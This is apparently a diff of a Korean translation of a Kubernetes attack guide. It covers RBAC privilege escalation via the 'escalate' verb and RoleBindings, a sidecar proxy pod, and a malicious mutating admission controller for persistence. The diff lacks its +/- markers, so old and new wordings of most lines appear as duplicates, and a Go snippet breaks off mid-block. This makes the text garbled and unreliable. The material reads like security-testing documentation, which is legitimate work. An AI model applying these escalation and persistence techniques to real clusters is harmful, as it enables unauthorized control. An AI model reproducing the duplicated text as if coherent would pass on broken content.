규칙은 **사용자가 역할을 생성하거나 업데이트할 수 있는 것은 그 역할이 포함하는 모든 권한을 보유하고 있을 때만 가능하다고 명시합니다**. 또한, 사용자의 기존 권한 범위는 생성하거나 수정하려는 역할의 범위와 일치해야 합니다: ClusterRoles의 경우 클러스터 전체에 대해, Roles의 경우 동일한 네임스페이스(또는 클러스터 전체)에 대해 제한됩니다.
> [!WARNING]
> 이전 규칙에 대한 예외가 있습니다. 주체가 **`roles`** 또는 **`clusterroles`**에 대해 **`escalate`** 동사를 가지고 있다면, 그는 권한이 없더라도 역할과 클러스터 역할의 권한을 증가시킬 수 있습니다.
> 이전 규칙에 대한 예외가 있습니다. 주체가 **`roles`** 또는 **`clusterroles`**에 대해 **`escalate`** 동사를 가지고 있다면, 자신이 권한을 가지고 있지 않더라도 역할과 클러스터 역할의 권한을 증가시킬 수 있습니다.
### **RoleBindings/ClusterRoleBindings 가져오기 및 패치하기**
> [!CAUTION]
> **이 기술은 이전에 작동했지만, 내 테스트에 따르면 이전 섹션에서 설명한 동일한 이유로 더 이상 작동하지 않습니다. 이미 권한이 없는 경우 자신이나 다른 SA에게 권한을 부여하기 위해 rolebinding을 생성/수정할 수 없습니다.**
Rolebindings를 생성할 수 있는 권한은 사용자가 **역할을 서비스 계정에 바인딩**할 수 있게 합니다. 이 권한은 **사용자가 손상된 서비스 계정에 관리자 권한을 바인딩할 수 있게 하여 권한 상승으로 이어질 수 있습니다.**
Rolebindings를 생성할 수 있는 권한은 사용자가 **서비스 계정에 역할을 바인딩**할 수 있게 합니다. 이 권한은 **사용자가 손상된 서비스 계정에 관리자 권한을 바인딩할 수 있게 하여 권한 상승으로 이어질 수 있습니다.**
## 기타 공격
### 사이드카 프록시 앱
기본적으로 파드 간의 통신에는 암호화가 없습니다. 상호 인증, 양방향, 파드 간의 통신입니다.
기본적으로 파드 간의 통신에는 암호화가 없습니다. 상호 인증, 양방향, 파드 간.
#### 사이드카 프록시 앱 생성 <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
@@ -512,7 +575,7 @@ Rolebindings를 생성할 수 있는 권한은 사용자가 **역할을 서비
```bash
kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'
```
.your .yaml 파일을 수정하고 주석이 없는 줄을 추가하세요:
.yaml 파일을 편집하고 주석이 없는 줄을 추가하세요:
```yaml
#apiVersion: v1
#kind: Pod
@@ -554,7 +617,7 @@ kubectl logs app -C proxy
Admission controller는 **객체의 지속화 이전에 Kubernetes API 서버에 대한 요청을 가로챕니다**, 하지만 **요청이 인증되고** **인가된 후에** 가로챕니다.
공격자가 어떻게든 **Mutationg Admission Controller를 주입**하는 데 성공한다면, 그는 **이미 인증된 요청을 수정**할 수 있게 됩니다. 이는 잠재적으로 권한 상승을 가능하게 하며, 더 일반적으로 클러스터에 지속적으로 남아있을 수 있습니다.
공격자가 어떻게든 **Mutationg Admission Controller를 주입**하는 데 성공한다면, 그는 **이미 인증된 요청을 수정**할 수 있게 됩니다. 이는 잠재적으로 권한 상승을 할 수 있으며, 더 일반적으로 클러스터에 지속적으로 남아 있을 수 있습니다.
**예시 출처** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
```bash
@@ -586,7 +649,7 @@ kubectl describe po nginx | grep "Image: "
#### Technicalities <a href="#heading-technicalities" id="heading-technicalities"></a>
`./deploy.sh` 스크립트는 요청을 Kubernetes API에 수정하는 변형 웹후크 승인 컨트롤러를 설정하며, 이는 구성 라인에 지정된 대로 결과에 영향을 미칩니다:
`./deploy.sh` 스크립트는 변형 웹 승인 컨트롤러를 설정하며, 이는 구성 라인에 지정된 대로 Kubernetes API에 대한 요청을 수정하여 관찰된 결과에 영향을 미칩니다:
```
patches = append(patches, patchOperation{
Op: "replace",